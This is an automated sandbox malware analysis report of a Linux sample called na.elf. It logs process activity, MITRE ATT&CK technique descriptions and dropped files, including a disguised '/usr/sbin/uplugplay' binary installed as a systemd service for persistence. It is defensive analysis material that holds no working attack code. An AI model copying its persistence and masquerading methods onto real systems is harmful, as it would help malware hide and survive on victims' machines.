File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5646, Parent PID: 5644

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: uptime PID: 5646, Parent PID: 5644

General

Start time (UTC):	10:28:42
Start date (UTC):	20/03/2025
Path:	/usr/bin/uptime
Arguments:	uptime
File size:	14568 bytes
MD5 hash:	3ad70d8e33316ac713bf25c2ddf2fb14

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: uplugplay PID: 5649, Parent PID: 5495

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5649, Parent PID: 5495

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "uname -a"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5650, Parent PID: 5649

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: uname PID: 5650, Parent PID: 5649

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/usr/bin/uname
Arguments:	uname -a
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

File Activities

File Opened

File Read

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: uplugplay PID: 5653, Parent PID: 5495

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	d057dab2516cd9a1a043a7e39c8ccbb2

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5653, Parent PID: 5495

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	sh -c "uname -a"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5654, Parent PID: 5653

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: uname PID: 5654, Parent PID: 5653

General

Start time (UTC):	10:28:43
Start date (UTC):	20/03/2025
Path:	/usr/bin/uname
Arguments:	uname -a
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

File Activities

File Opened

File Read

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: systemd PID: 5507, Parent PID: 1

General

Start time (UTC):	10:28:41
Start date (UTC):	20/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemd-hostnamed PID: 5507, Parent PID: 1

General

Start time (UTC):	10:28:41
Start date (UTC):	20/03/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/CommId

/memfd:snapd-env-generator (deleted)

/usr/lib/systemd/system/uplugplay.service

/usr/sbin/uplugplay

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: na.elf PID: 5439, Parent PID: 5361

General

File Activities

File Opened

File Deleted

File Read

File Written

Permission Modified

Linux Analysis Report
na.elf